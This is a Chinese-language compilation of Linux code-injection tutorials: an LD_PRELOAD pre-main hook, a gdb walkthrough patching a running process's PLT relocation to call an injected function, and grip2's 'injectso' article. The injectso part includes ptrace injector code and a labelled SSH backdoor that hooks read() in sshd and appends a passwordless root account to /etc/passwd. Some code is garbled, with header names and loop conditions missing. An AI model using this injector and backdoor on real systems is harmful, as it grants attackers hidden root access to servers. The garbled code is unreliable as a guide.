本文共 24122 字,大约阅读时间需要 80 分钟。
用于在目标程序的 main 函数执行前完成一些操作 特定情况下用来调试还是不错的。
源代码
/* fakemain.c * Heiher |
编译
gcc -o libfakemain.so -fPIC -shared fakemain.c -ldl |
测试
LD_PRELOAD=./libfakemain.so ls |
Hello!fakemain.c hotkey hotkey.vala libfakemain.so |
Over!
1、简介
假设Linux上正在运行某程序,像Unix守护程序等,我们不想终止该程序,但是同时又需要更新程序的功能。首先映入脑海的可能是更新程序中一些已知函数,添加额外的功能,这样就不会影响到程序已有的功能,且不用终止程序。考虑向正在运行的程序中注入一些新的代码,当程序中已存在的另一个函数被调用时触发这些新代码。也许这种想法有些异想天开,但并不是不能实现的,有时我们确实需要向正在运行的程序中注入一些代码,当然其与病毒的代码注入技术与存在一定关联。
在本文中,我会向读者解释如何向正在Linux系统上运行的程序中注入一段C函数代码,而不必终止该程序。文中我们会讨论Linux目标文件格式Executable and Linkable Format(ELF),讨论目标文件sections(段)、symbols(符号)以及relocations(重定位)。
2、示例概述 笔者会利用以下简单的示例程序向读者一步步解释代码注入技术。示例由以下三部分组成:
(1)由源码dynlib.h与dynlib.c编译的动态(共享)库libdynlib.so(2)由源码app.c编译的app程序,会链接libdynlib.so库(3)injection.c文件中的注入函数
下面看一下这些代码:
//dynlib.hextern void print();
dynlib.h文件中声明了printf()函数。
//dynlib.c #include#include #include #include "dynlib.h" extern void print() { static unsigned int counter = 0; ++counter; printf("%d : PID %d : In print()\n", counter, getpid()); }
dynlib.c文件实现了print()函数,该函数只是打印一个计数(每次函数被调用时都会使该值增加)以及当前进程的pid。
//app.c#include#include #include "dynlib.h"int main(){ while(1) { print(); printf("Going to sleep...\n"); sleep(3); printf("Waked up...\n"); } return 0;}
app.c文件中的函数调用print()函数(来自libdynlib.so动态库),之后睡眠几秒钟,然后继续执行该无限循环。
//injection.c#includeextern void print();extern void injection(){ print(); //原本的工作,调用print()函数 system("date"); //添加的额外工作}
injection()函数调用会替换app.c文件中main()函数调用的print()函数调用。injection()函数首先会调用原print()函数,之后进行额外的工作。例如,它可以利用system()函数运行一些外部可执行程序,或者像本例中一样打印当前的日期。
3、编译并运行程序
首先利用gcc编译器编译这些源文件:
$ gcc -g -Wall dynlib.c -fPIC -shared -o libdynlib.so$ gcc –g app.c –ldynlib –L ./ -o app$ gcc -Wall injection.c -c -o injection.o
编译后的程序为:
-rwxrwxr-x 1 0×80 0×80 6224 Oct 15 14:04 app-rw-rw-r– 1 0×80 0×80 888 Oct 16 17:53 injection.o-rwxrwxr-x 1 0×80 0×80 5753 Oct 16 17:52 libdynlib.so
需要注意的是动态库libdynlib.so在编译时指定了-fPIC选项,用来生成地址无关的程序。下面运行app可执行程序:
[0x80@localhost dynlib]$ ./app./app: error while loading shared libraries: libdynlib.so: cannot open shared object file: No such file or directory
如果产生以上错误,我们需要将生成的libdynlib.so文件拷贝到/usr/lib/目录下,再执行该程序,得到如下结果:
[0x80@localhost dynlib]$ ./app1 : PID 25658 : In print()Going to sleep…Waked up…2 : PID 25658 : In print()Going to sleep…Waked up…3 : PID 25658 : In print()Going to sleep…
4、调试应用程序
程序app只是一个简单的循环程序,这里我们假设其已经运行了几周,在不终止该程序的情况下,将我们的新代码注入到该程序中。在注入过程中利用Linux自带的功能强大的调试器gdb。首先我们需要利用pid(见程序的输出)将程序附着到gdb:
[0x80@localhost dynlib]$ gdb app 25658GNU gdb Red Hat Linux (6.3.0.0-1.122rh)Copyright 2004 Free Software Foundation, Inc.GDB is free software, covered by the GNU General Public License, and you arewelcome to change it and/or distribute copies of it under certain conditions.Type “show copying” to see the conditions.There is absolutely no warranty for GDB. Type “show warranty” for details.This GDB was configured as “i386-redhat-linux-gnu”…Using host libthread_db library “/lib/libthread_db.so.1″.Attaching to program: /home/0×80/dynlib/app, process 25658Reading symbols from shared object read from target memory…done.Loaded system supplied DSO at 0×464000`shared object read from target memory’ has disappeared; keeping its symbols.Reading symbols from /usr/lib/libdynlib.so…done.Loaded symbols for /usr/lib/libdynlib.soReading symbols from /lib/libc.so.6…done.Loaded symbols for /lib/libc.so.6Reading symbols from /lib/ld-linux.so.2…done.Loaded symbols for /lib/ld-linux.so.20×00464410 in __kernel_vsyscall ()(gdb)
5、将注入代码加载到可执行程序的内存中
如前所述,目标文件injection.o初始并不包含在app可执行进程镜像中,我们首先需要将injection.o加载到进程的内存地址空间。可以通过mmap()系统调用,该系统调用可以将injection.o文件映射到app进程地址空间中。在gdb调试器中:
(gdb) call open(“injection.o”, 2)$1 = 3(gdb) call mmap(0, 888, 1|2|4, 1, 3, 0)$2 = 1118208(gdb)
首先利用O_RDWR(值为2)的读/写权限打开injection.o文件。一会之后我们在加载注入代码时做写修改,因此需要写权限。返回值为系统分配的文件描述符,可以看到值为3。之后调用mmap()系统调用将该文件载入进程的地址空间。mmap()函数原型如下:
#includevoid *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset);
函数包含6个参数:
start表示映射区的开始地址,设置为0时表示由系统决定映射区起始地址。 length表示映射区的长度,这里为injection.o文件的长度,该值在前文第3节出现过。 prot表示期望的内存保护标志(即映射权限),不能与文件的打开模式冲突,这里为1|2|4(即PROT_READ | PROT_WRITE | PROT_EXEC,读/写/执行) flags指定映射对象的类型,映射选项和映射页是否可以共享, fd表示已经打开的文件描述符,这里为3。 offset表示被映射对象内容的起点,这里为0。 如果函数执行成功,则返回被映射文件在映射区的起始地址 通过查看/proc/[pid]/maps的内容(这里pid为要注入的可执行进程的pid,本例为25593),我们可以确定injection.o文件实际被映射到的进程地址空间,在Linux系统中,文件包含当前正在运行的进程的内存布局信息
[0x80@localhost ~]$ cat /proc/25658/maps00111000-00112000 rwxs 00000000 03:02 57933979 /home/0x80/dynlib/injection.o00464000-00465000 r-xp 00464000 00:00 0 [vdso]00500000-00501000 r-xp 00000000 03:01 5464089 /usr/lib/libdynlib.so00501000-00502000 rw-p 00000000 03:01 5464089 /usr/lib/libdynlib.so007bb000-007d4000 r-xp 00000000 03:01 1311704 /lib/ld-2.4.so007d4000-007d5000 r--p 00018000 03:01 1311704 /lib/ld-2.4.so007d5000-007d6000 rw-p 00019000 03:01 1311704 /lib/ld-2.4.so007d8000-00904000 r-xp 00000000 03:01 1311705 /lib/libc-2.4.so00904000-00907000 r--p 0012b000 03:01 1311705 /lib/libc-2.4.so00907000-00908000 rw-p 0012e000 03:01 1311705 /lib/libc-2.4.so00908000-0090b000 rw-p 00908000 00:00 008048000-08049000 r-xp 00000000 03:02 57933977 /home/ 0x80 /dynlib/app08049000-0804a000 rw-p 00000000 03:02 57933977 /home/ 0x80 /dynlib/app09ca5000-09cc6000 rw-p 09ca5000 00:00 0 [heap]b7f94000-b7f95000 rw-p b7f94000 00:00 0b7fa4000-b7fa6000 rw-p b7fa4000 00:00 0bfb91000-bfba6000 rw-p bfb91000 00:00 0 [stack][0x80@localhost ~]$
可以看到/home/0×80/dynlib/injection.o起始于进程地址空间的0×00111000地址处(转换成十进制即为1118208),终止于地址空间的0×00112000地址处。以上输出同时包含了其它动态库的映射信息。现在我们已经将所有需要的组件加载到可执行进程的内存空间中了。
6、重定位 下面,我们从内部检查ELF格式的二进制可执行文件程序app。我们使用Linux自带的readelf程序,来显示ELF格式的目标文件(Linux中的任意object文件、库或可执行文件)中的不同数据,即查看app程序中的符号重定位信息。我们只对其中的print()函数调用的重定位感兴趣。
[0x80@localhost dynlib]$ readelf -r appRelocation section ‘.rel.dyn’ at offset 0×338 contains 1 entries:Offset Info Type Sym.Value Sym. Name08049678 00000c06 R_386_GLOB_DAT 00000000 __gmon_start__Relocation section ‘.rel.plt’ at offset 0×340 contains 5 entries:Offset Info Type Sym.Value Sym. Name08049688 00000107 R_386_JUMP_SLOT 00000000 print0804968c 00000207 R_386_JUMP_SLOT 00000000 puts08049690 00000407 R_386_JUMP_SLOT 00000000 sleep08049694 00000607 R_386_JUMP_SLOT 00000000 __libc_start_main08049698 00000c07 R_386_JUMP_SLOT 00000000 __gmon_start__[0x80@localhost dynlib]$
如读者所见,print符号重定位位于app程序的绝对(虚拟)地址0×08049688偏移处,重定位的类型为R_386_JUMP_SLOT。在程序被加载到内存且在运行之前,重定位地址是一个绝对虚拟地址。注意该重定位驻留在程序二进制镜像的.rel.plt段内。PLT即Procedure Linkage Table的缩写,是为函数间接调用提供的表,即在调用一个函数是,不是直接跳转到函数的位置,而是首先跳转到Procedure Linkage Table的入口处,之后再从PLT跳转到函数的实际代码处。如果要调用的函数位于一个动态库中(如本例中的libdynlib.so),那么这种做法是必要的,因为我们不可能提前知道动态库会被加载到进程空间的什么位置,以及动态库中的第一个函数是什么(本位中为print()函数)。所有这些知识只在程序被加载到内存之后且运行之前有效,这时系统的动态链接器(Linux系统中为ld-linux.so)会解决重定位的问题,使请求的函数能够被正确调用。在本文的例子中,动态链接器会将libdynlib.so加载到可执行进程的地址空间,找到print()函数在库中的地址,并将该地址设置为重定位地址0×08049688。
我们的目标是用injection.o目标文件中injection()函数的地址替换print()函数的地址,该函数在程序刚开始运行之初并不包含在它的进程地址空间中。
更多关于ELF格式、重定位以及动态链接器的的信息,读者可以参考Executable and Linkable Format(ELF)文档。我们可以检查地址0×08049688正是函数print()函数的地址:
(gdb) p & print$3 = (void (*)()) 0x50051c (gdb) p/x * 0×08049688$4 = 0x50051c(gdb)
injection()函数的地址可以通过对injection.o文件运行readelf –s(显示目标文件的符号表)得到:
[0x80@localhost dynlib]$ readelf -s injection.oSymbol table ‘.symtab’ contains 11 entries:Num: Value Size Type Bind Vis Ndx Name0: 00000000 0 NOTYPE LOCAL DEFAULT UND1: 00000000 0 FILE LOCAL DEFAULT ABS injection.c2: 00000000 0 SECTION LOCAL DEFAULT 13: 00000000 0 SECTION LOCAL DEFAULT 34: 00000000 0 SECTION LOCAL DEFAULT 45: 00000000 0 SECTION LOCAL DEFAULT 56: 00000000 0 SECTION LOCAL DEFAULT 77: 00000000 0 SECTION LOCAL DEFAULT 68: 00000000 25 FUNC GLOBAL DEFAULT 1 injection9: 00000000 0 NOTYPE GLOBAL DEFAULT UND print10: 00000000 0 NOTYPE GLOBAL DEFAULT UND system[0x80@localhost dynlib]$
函数(符号)injection位于injection.o文件.text段的偏移0处,但.text段起始于injection.o文件的偏移0×000034处:
[0x80@localhost dynlib]$ sudo readelf -S injection.oThere are 11 section headers, starting at offset 0xd4:Section Headers:[Nr] Name Type Addr Off Size ES Flg Lk Inf Al[ 0] NULL 00000000 000000 000000 00 0 0 0[ 1] .text PROGBITS 00000000 000034 000019 00 AX 0 0 4[ 2] .rel.text REL 00000000 000360 000018 08 9 1 4[ 3] .data PROGBITS 00000000 000050 000000 00 WA 0 0 4[ 4] .bss NOBITS 00000000 000050 000000 00 WA 0 0 4[ 5] .rodata PROGBITS 00000000 000050 000005 00 A 0 0 1[ 6] .comment PROGBITS 00000000 000055 00002d 00 0 0 1[ 7] .note.GNU-stack PROGBITS 00000000 000082 000000 00 0 0 1[ 8] .shstrtab STRTAB 00000000 000082 000051 00 0 0 1[ 9] .symtab SYMTAB 00000000 00028c 0000b0 10 10 8 4[10] .strtab STRTAB 00000000 00033c 000024 00 0 0 1Key to Flags:W (write), A (alloc), X (execute), M (merge), S (strings)I (info), L (link order), G (group), x (unknown)O (extra OS processing required) o (OS specific), p (processor specific)[0x80@localhost dynlib]$
7、用injection()函数替换print()函数
这里提醒读者,injection.o文件已经被加载到app进程内存空间的地址0×00111000处(见上文)。因此injection()函数的最终绝对虚拟地址为0×00111000+0×000034. 下面用该地址替换print()函数的重定位地址0×08069688:
(gdb) set *0×08049688 = 0×00111000 + 0×000034(gdb)
到这里,我们已经成功用对injection()函数的调用替换了对print()函数的调用。
8、解决injection()函数的重定位
不过我们还有一些工作要做。injection()函数的代码目前还不能运行,因为我们仍有3个重定位没有解决:
[0x80@localhost dynlib]$ readelf -r injection.oRelocation section ‘.rel.text’ at offset 0×360 contains 3 entries:Offset Info Type Sym.Value Sym. Name00000007 00000902 R_386_PC32 00000000 print0000000e 00000501 R_386_32 00000000 .rodata00000013 00000a02 R_386_PC32 00000000 system[0x80@localhost dynlib]$
print重定位引用libdynlib.so库中的print()函数调用,.rodata重定位指向保存在.rodata只读数据段的“date”常量字符串(译者注:即system(date)调用中的“date”),system重定位引用系统的system()函数调用。需要注意的是所有这三个重定位是驻留在.rel.text段中的,因此它们的偏移是相对于.text段而言的。
我们需要手动解决以上三个重定位,为这三个内存位置设置适当的地址。程序进程地址空间中的这些重定位地址是通过求和计算出来的:
(1)injection.o在进程地址空间中的起始地址(0×00111000)。(2).text段在injection.o目标文件中的起始偏移量(0×000034)。(3)相对于.text段的重定位偏移量(print为0×00000007, .rodata为0x0000000e,system为0×00000013)。
可以看到print与system的重定位类型为R_386_PC32,意味着要设置的重定位地址的值应该利用程序计数寄存器PC来计算,这样才是相对于重定位地址的。
(译者注:所谓重定位类型,就是规定了使用何种方式,去计算这个值,具体有哪些变量参与计算如同如何进行计算一样也是不固定的,各种重定位类型有自己的规定。据规范里面的规定,重定位类型R_386_PC32的计算需要有三个变量参与:S,A和P。其计算方式是 S+A-P。根据规范,当R_386_PC32类型的重定位发生在link editor链接若干个.o对象文件从而形成可执行文件的过程中的时候,变量S指代的是被重定位的符号的实际运行时地址,而变量P是重定位所影响到的地址单元的实际运行时地址。在运行于x86架构上的Linux系统中,这两个地址都是虚拟地址。变量A最简单,就是重定位所需要的附加数,它是一个常数。别忘x86架构所使用的重定位条目结构体类型Elf32_Rela,所以附加数就存在于受重定位影响的地址单元中。重定位最后将计算得到的值patch到这个地址单元中。)
R_386_32表示绝对地址的重定位,可以直接使用符号的地址;R_386_PC32表示对相对地址的重定位,要用“符号地址-重定位地址”得出相对地址。
R_386_32 类型规定只是将附加数加上符号的值作为所需要的值,即.rodata的重定位需要在地址0×00111000的基础上加上一个附加数。 计算方法如下:
(gdb) p & system$7 = ( *) 0×733650 //system()函数的地址(gdb) p * (0×00111000 + 0×000034 + 0×000000013)$8 = -4 // system符号重定位的加数(gdb) set * (0×00111000 + 0×000034 + 0×000000013) = 0×733650 – (0×00111000 + 0×000034 + 0×000000013) – 4(gdb) p & print$9 = (void (*)(void)) 0x40000be8 // print()函数的地址(gdb) p * (0×00111000 + 0×000034 + 0×0000007)$10 = -4 // print符号重定位的加数(gdb) set * (0×00111000 + 0×000034 + 0×0000007) = 0x40000be8 – (0×00111000 + 0×000034 + 0×0000007) – 4(gdb) p * (0×00111000 + 0×000034 + 0x0000000e)$11 = 0 // .rodata符号重定位的加数(gdb) set * (0×00111000 + 0×000034 + 0x0000000e) = 0×00111000 + 0×000050//0×000050为.rodata 段在injection.o目标文件中的偏移(见上文第6节结尾处)
解决了injection()函数代码中的所有3个重定位,那么要做的准备工作就做完了,可以退出gdb调试器了。应用程序会继续运行,并且在此之后,除了继续之前的打印工作,程序同时还会输出当前的日期。
(gdb) qA debugging session is active.Inferior 1 [process 25658] will be detached.Quit anyway? (y or n) yDetaching from program: /home/0×80/dynlib/app, process 25658[0x80@localhost dynlib]$ [lnx63:code_injection]// app程序会继续执行Waked up …Thu Oct 12 20:09:40 IST 20124: PID 25658: In print()Going to sleep …Waked up …Thu Oct 12 20:09:43 IST 20125: PID 25658: In print()Going to sleep …Waked up …Thu Oct 12 20:09:46 IST 20126: PID 25658: In print()Going to sleep …Waked up …Thu Oct 12 20:09:49 IST 20127: PID 25658: In print()Going to sleep …Waked up …
9、结论
在本文中,笔者演示了如何向正在运行于Linux系统上的应用程序注入一个C函数,而不必终止该程序。需要注意的是当前用户必须是被注入的进程的,或者拥有对进程内存处理的相应权限。
共享库注射--injectso实例
作者:grip2 日期:2002/08/16 内容: 1 -- 介绍 2 -- injectso -- 共享库注射技术 3 -- injectso的工作步骤及实现方法 4 -- 目标进程调试函数 5 -- 符号解析函数 6 -- 一个简单的后门程序 7 -- 最后 8 -- 参考文献 一、 ** 介绍 本文介绍的是injectso技术,重点是使用现有技术去实际的完成一个injectso程序, 而不是侧重于理论上的探讨。这里希望你在阅读这篇文章的时候对ELF、inject有一 定的了解,当然你也可以选择在看完本文之后再去翻看相关的资料,也许这样能使你 更有针对性。需要说明的是,下面介绍的技术和给出的函数都是特定于X86下的linux 的,在其它环境下可能有一些需要改变的细节,但从基本的概念和步骤上讲应该是相 同的。 [separator] 二、 ** injectso -- 共享库注射技术 使用injectso技术,我们可以注射共享库到一个运行期进程,这里注射的意思就是通 过某种操作使我们的.so共享库在指定的进程中被装载,这样再配合上函数重定向或 其它技术,我们就可以捕获或改变目标进程的行为,可以做非常多的工作。同其它 inject技术相比,injectso的一些优点是: 1. 简单 -- 仅仅通过C代码就可以完成所有的工作; 2. 扩展性好 -- 在基础代码完成之后,如果要对程序功能进行增加、修改,仅需改动 .so共享库即可; 3. 干净 -- 对目标进程进行注射之后,不需要留下磁盘文件,使用的程序及共享库 都可以删除; 4. 灵活 -- 我们可以使用它完成很多工作,例如:运行期补丁、后门程序等; 5. 目标服务不需要重新启动; 6. 无须改动二进制文件; 7. 可以通过pax, openwall等这样的核心补丁。 三、 ** injectso的工作步骤及实现方法 完成injectso需要以下几个步骤: 1. 关联到目标进程; 2. 发现装载共享库的函数,一般是_dl_open调用,我们将使用它装载我们的.so共享 库 3. 装载指定的.so; 4. 做我们想做的,一般是通过函数重定向来完成我们需要的功能; 5. 脱离进程; 下面简单介绍一下这几个步骤的实现方法,由于我们是对其它进程进行操作,因此 ptrace这个linux调试API函数将频繁的被我们使用,在中,我将给出一些ptrace 包装函数。 步骤1 -- 关联进程 简单的调用ptrace(PTRACE_ATTACH,...)即可以关联到目标进程,但此后我们还 需调用waitpid()函数等待目标进程暂停,以便我们进行后续操作。详见中给出 的ptrace_attach()函数。 步骤2 -- 发现_dl_open 通过遍历动态连接器使用的link_map结构及其指向的相关链表,我们可以完成 _dl_open的符号解析工作,关于通过link_map解析符号在phrack59包的p59_08(见参 考文献)中有详细的描述。 步骤3 -- 装载.so 由于在2中我们已经找到_dl_open的地址,所以我们只需将此函数使用的参数添 入相应的寄存器,并将进程的eip指向_dl_open即可,在此过程中还需做一些其它操 作,具体内容见中的call_dl_open和ptrace_call函数。 步骤4 -- 函数重定向 我们需要做的仅仅是找到相关的函数地址,用新函数替换旧函数,并将旧函数的 地址保存。其中涉及到了PLT和RELOCATION,关于它们的详细内容你应该看ELF规范中 的介绍,在中的函数中有PLT和RELOCATION的相关操作,而且在最后的例子中, 我们将实现函数重定向。关于函数重定向,相关资料很多,这里不再多介绍。 步骤5 -- 脱离进程 简单的调用ptrace(PTRACE_DETACH,...)可以脱离目标进程。 四、** 目标进程调试函数 在linux中,如果我们要调试一个进程,可以使用ptrace API函数,为了使用起来更 方便,我们需要对它进行一些功能上的封装。 在p59_08中作者给出了一些对ptrace进行封装的函数,但是那太少了,在下面我给出 了更多的函数,这足够我们使用了。要注意在这些函数中我并未进行太多的错误检测 ,但做为一个例子使用,它已经能很好的工作了,在最后的例子中你将能看到这一点 。 /* 关联到进程 */ void ptrace_attach(int pid) { if(ptrace(PTRACE_ATTACH, pid, NULL, NULL) e_phoff; printf("phdr_addr\t %p\n", phdr_addr); ptrace_read(pid, phdr_addr, phdr, sizeof(Elf32_Phdr)); while(phdr->p_type != PT_DYNAMIC) ptrace_read(pid, phdr_addr += sizeof(Elf32_Phdr), phdr, sizeof(Elf32_Phdr)); dyn_addr = phdr->p_vaddr; printf("dyn_addr\t %p\n", dyn_addr); ptrace_read(pid, dyn_addr, dyn, sizeof(Elf32_Dyn)); while(dyn->d_tag != DT_PLTGOT) { ptrace_read(pid, dyn_addr + i * sizeof(Elf32_Dyn), dyn, sizeof(Elf32_Dyn)); i++; } got = (Elf32_Word)dyn->d_un.d_ptr; got += 4; printf("GOT\t\t %p\n", got); ptrace_read(pid, got, &map_addr, 4); printf("map_addr\t %p\n", map_addr); ptrace_read(pid, map_addr, map, sizeof(struct link_map)); free(ehdr); free(phdr); free(dyn); return map; } /* 取得给定link_map指向的SYMTAB、STRTAB、HASH、JMPREL、PLTRELSZ、RELAENT、RELENT信息 这些地址信息将被保存到全局变量中,以方便使用 */ void get_sym_info(int pid, struct link_map *lm) { Elf32_Dyn *dyn = (Elf32_Dyn *) malloc(sizeof(Elf32_Dyn)); unsigned long dyn_addr; dyn_addr = (unsigned long)lm->l_ld; ptrace_read(pid, dyn_addr, dyn, sizeof(Elf32_Dyn)); while(dyn->d_tag != DT_NULL){ switch(dyn->d_tag) { case DT_SYMTAB: symtab = dyn->d_un.d_ptr; //puts("DT_SYMTAB"); break; case DT_STRTAB: strtab = dyn->d_un.d_ptr; //puts("DT_STRTAB"); break; case DT_HASH: ptrace_read(pid, dyn->d_un.d_ptr + lm->l_addr + 4, &nchains, sizeof(nchains)); //puts("DT_HASH"); break; case DT_JMPREL: jmprel = dyn->d_un.d_ptr; //puts("DT_JMPREL"); break; case DT_PLTRELSZ: //puts("DT_PLTRELSZ"); totalrelsize = dyn->d_un.d_val; break; case DT_RELAENT: relsize = dyn->d_un.d_val; //puts("DT_RELAENT"); break; case DT_RELENT: relsize = dyn->d_un.d_val; //puts("DT_RELENT"); break; } ptrace_read(pid, dyn_addr += sizeof(Elf32_Dyn), dyn, sizeof(Elf32_Dyn)); } nrels = totalrelsize / relsize; free(dyn); } /* 解析指定符号 */ unsigned long find_symbol(int pid, struct link_map *map, char *sym_name) { struct link_map *lm = (struct link_map *) malloc(sizeof(struct link_map)); unsigned long sym_addr; char *str; sym_addr = find_symbol_in_linkmap(pid, map, sym_name); if (sym_addr) return sym_addr; if (!map->l_next) return 0; ptrace_read(pid, (unsigned long)map->l_next, lm, sizeof(struct link_map)); sym_addr = find_symbol_in_linkmap(pid, lm, sym_name); while(!sym_addr && lm->l_next) { ptrace_read(pid, (unsigned long)lm->l_next, lm, sizeof(struct link_map)); str = ptrace_readstr(pid, (unsigned long)lm->l_name); if(str[0] == '\0') continue; printf("[%s]\n", str); free(str); if ((sym_addr = find_symbol_in_linkmap(pid, lm, sym_name))) break; } return sym_addr; } /* 在指定的link_map指向的符号表查找符号,它仅仅是被上面的find_symbol使用 */ unsigned long find_symbol_in_linkmap(int pid, struct link_map *lm, char *sym_name) { Elf32_Sym *sym = (Elf32_Sym *) malloc(sizeof(Elf32_Sym)); int i; char *str; unsigned long ret; get_sym_info(pid, lm); for(i = 0; i st_name || !sym->st_size || !sym->st_value) continue; /* 因为我还要通过此函数解析非函数类型的符号,因此将此处封上了 if (ELF32_ST_TYPE(sym->st_info) != STT_FUNC) continue; */ str = (char *) ptrace_readstr(pid, strtab + sym->st_name); if (strcmp(str, sym_name) == 0) { free(str); str = ptrace_readstr(pid, (unsigned long)lm->l_name); printf("lib name [%s]\n", str); free(str); break; } free(str); } if (i == nchains) ret = 0; else ret = lm->l_addr + sym->st_value; free(sym); return ret; } /* 查找符号的重定位地址 */ unsigned long find_sym_in_rel(int pid, char *sym_name) { Elf32_Rel *rel = (Elf32_Rel *) malloc(sizeof(Elf32_Rel)); Elf32_Sym *sym = (Elf32_Sym *) malloc(sizeof(Elf32_Sym)); int i; char *str; unsigned long ret; get_dyn_info(pid); for(i = 0; ir_info)) { ptrace_read(pid, symtab + ELF32_R_SYM(rel->r_info) * sizeof(Elf32_Sym), sym, sizeof(Elf32_Sym)); str = ptrace_readstr(pid, strtab + sym->st_name); if (strcmp(str, sym_name) == 0) { free(str); break; } free(str); } } if (i == nrels) ret = 0; else ret = rel->r_offset; free(rel); return ret; } /* 在进程自身的映象中(即不包括动态共享库,无须遍历link_map链表)获得各种动态信息 */ void get_dyn_info(int pid) { Elf32_Dyn *dyn = (Elf32_Dyn *) malloc(sizeof(Elf32_Dyn)); int i = 0; ptrace_read(pid, dyn_addr + i * sizeof(Elf32_Dyn), dyn, sizeof(Elf32_Dyn)); i++; while(dyn->d_tag){ switch(dyn->d_tag) { case DT_SYMTAB: puts("DT_SYMTAB"); symtab = dyn->d_un.d_ptr; break; case DT_STRTAB: strtab = dyn->d_un.d_ptr; //puts("DT_STRTAB"); break; case DT_JMPREL: jmprel = dyn->d_un.d_ptr; //puts("DT_JMPREL"); printf("jmprel\t %p\n", jmprel); break; case DT_PLTRELSZ: totalrelsize = dyn->d_un.d_val; //puts("DT_PLTRELSZ"); break; case DT_RELAENT: relsize = dyn->d_un.d_val; //puts("DT_RELAENT"); break; case DT_RELENT: relsize = dyn->d_un.d_val; //puts("DT_RELENT"); break; } ptrace_read(pid, dyn_addr + i * sizeof(Elf32_Dyn), dyn, sizeof(Elf32_Dyn)); i++; } nrels = totalrelsize / relsize; free(dyn); } 上面的函数可能较中的复杂了一些,但是它们也是容易理解的,这需要你对ELF 有一定的了解,我无法在这里解释更多的关于ELF内容,最好的和最有效的办法是你 去阅读规范,文后的参考文献中给出了下载地址。 六、** 一个简单的后门程序 有了上面介绍的函数,现在我们可以很容易的编写出injectso程序,下面让我们来写 一个简单后门程序。首先,我们回想一下前面介绍的injectso工作步骤,看看我们是 否已经有足够的辅助函数来完成它。第1步,我们可以调用上面给出的ptrace_attach() 完成。第2步,可以通过find_symbol()找到_dl_open的地址。第3步我们可以调用 ptrace_call()来调用_dl_open,但是要注意_dl_open定义为'internal_function', 这说明它的传递方式是通过寄存器而不是堆栈,这样看来在调用_dl_open之前还需做一 些琐碎的操作,那么我们还是把它封装起来更好。第4步,函数重定向,我们可以通过 符号解析函数和RELOCATION地址获取函数找到新老函数地址,地址都已经找到,那替换 它们只是一个简单的操作了。第5步,仅仅调用ptrace_detach就可以了。OK,看来所有 的步骤我们都可以很轻松的完成了,只有3还需要个小小的封装函数,现在就来完成它: void call_dl_open(int pid, unsigned long addr, char *libname) { void *pRLibName; struct user_regs_struct regs; /* 先找个空间存放要装载的共享库名,我们可以简单的把它放入堆栈 */ pRLibName = ptrace_push(pid, libname, strlen(libname) + 1); /* 设置参数到寄存器 */ ptrace_readreg(pid, ®s); regs.eax = (unsigned long) pRLibName; regs.ecx = 0x0; regs.edx = RTLD_LAZY; ptrace_writereg(pid, ®s); /* 调用_dl_open */ ptrace_call(pid, addr); puts("call _dl_open ok"); } 到这里所有的基础问题都已经解决(只是相对而言,在有些情况下可能需要解决系统 调用或临界区等问题,本文没有涉及,但是我们的程序依然可以很好的执行),现在 需要考虑的我们做一个什么样的后门程序。为了简单,我打算作一个注射SSH服务的 后门程序。我们只需要重定向read调用到我们自己的newread,并在newread中加入对 读取到的内容进行判断的语句,如果发现读到的第一个字节是#号,我们将向/etc/passwd 追加新行"injso::0:0:root:/root:/bin/sh\n",这样我们就有了一个具 有ROOT权限的用户injso,并且不需要登陆密码。根据这个思路来建立我们的.so: [root@grip2 injectso]# cat so.c #include #include ssize_t (*oldread)(int fd, void *buf, size_t count); ssize_t newread(int fd, void *buf, size_t count) { ssize_t ret; FILE *fp; char ch = '#'; ret = oldread(fd, buf, count); if (memcmp(buf, (void *)&ch, 1) == 0) { fp = fopen("/etc/passwd", "a"); fputs("injso::0:0:root:/root:/bin/sh\n", fp); fclose(fp); } return ret; } 我们来编译它 [root@grip2 injectso]# gcc -shared -o so.so -fPIC so.c -nostdlib 好了,我们已经有了.so,下面就仅剩下main()了,让我们来看看: [root@grip2 injectso]# cat injso.c #include #include #include #include "p_elf.h" #include "p_dbg.h" int main(int argc, char *argv[]) { int pid; struct link_map *map; char sym_name[256]; unsigned long sym_addr; unsigned long new_addr,old_addr,rel_addr; /* 从命令行取得目标进程PID pid = atoi(argv[1]); /* 关联到目标进程 */ ptrace_attach(pid); /* 得到指向link_map链表的指针 */ map = get_linkmap(pid); /* get_linkmap */ /* 发现_dl_open,并调用它 */ sym_addr = find_symbol(pid, map, "_dl_open"); /* call _dl_open */ printf("found _dl_open at addr %p\n", sym_addr); call_dl_open(pid, sym_addr, "/home/grip2/me/so.so"); /* 注意装载的库地址 */ /* 找到我们的新函数newread的地址 */ strcpy(sym_name, "newread"); /* intercept */ sym_addr = find_symbol(pid, map, sym_name); printf("%s addr\t %p\n", sym_name, sym_addr); /* 找到read的RELOCATION地址 */ strcpy(sym_name, "read"); rel_addr = find_sym_in_rel(pid, sym_name); printf("%s rel addr\t %p\n", sym_name, rel_addr); /* 找到用于保存read地址的指针 */ strcpy(sym_name, "oldread"); old_addr = find_symbol(pid, map, sym_name); printf("%s addr\t %p\n", sym_name, old_addr); /* 函数重定向 */ puts("intercept..."); /* intercept */ ptrace_read(pid, rel_addr, &new_addr, sizeof(new_addr)); ptrace_write(pid, old_addr, &new_addr, sizeof(new_addr)); ptrace_write(pid, rel_addr, &sym_addr, sizeof(sym_addr)); puts("injectso ok"); /* 脱离进程 */ ptrace_detach(pid); exit(0); } 现在所有的工作都已经做好,你需要的是把上面介绍的函数都写到自己的.c程序文件 中,这样就可以编译了,我们来编译它 [root@grip2 injectso]# gcc -o injso injso.c p_dbg.c p_elf.c -Wall [root@grip2 injectso]# ls injso injso.c make p_dbg.c p_dbg.h p_elf.c p_elf.h so.c so.so ok,启动ssh服务,并开始注射 [root@grip2 injectso]# /usr/sbin/sshd [root@grip2 injectso]# ps -aux|grep sshd root 763 0.0 0.4 2676 1268 ? S 21:46 0:00 /usr/sbin/sshd root 1567 0.0 0.2 2004 688 pts/0 S 21:57 0:00 grep sshd [root@grip2 injectso]# ./injso 763 phdr_addr 0x8048034 dyn_addr 0x8084c2c GOT 0x80847d8 map_addr 0x40016998 [/lib/libdl.so.2] [/usr/lib/libz.so.1] [/lib/libnsl.so.1] [/lib/libutil.so.1] [/lib/libcrypto.so.2] [/lib/i686/libc.so.6] lib name [/lib/i686/libc.so.6] found _dl_open at addr 0x402352e0 call _dl_open ok [/lib/libdl.so.2] [/usr/lib/libz.so.1] [/lib/libnsl.so.1] [/lib/libutil.so.1] [/lib/libcrypto.so.2] 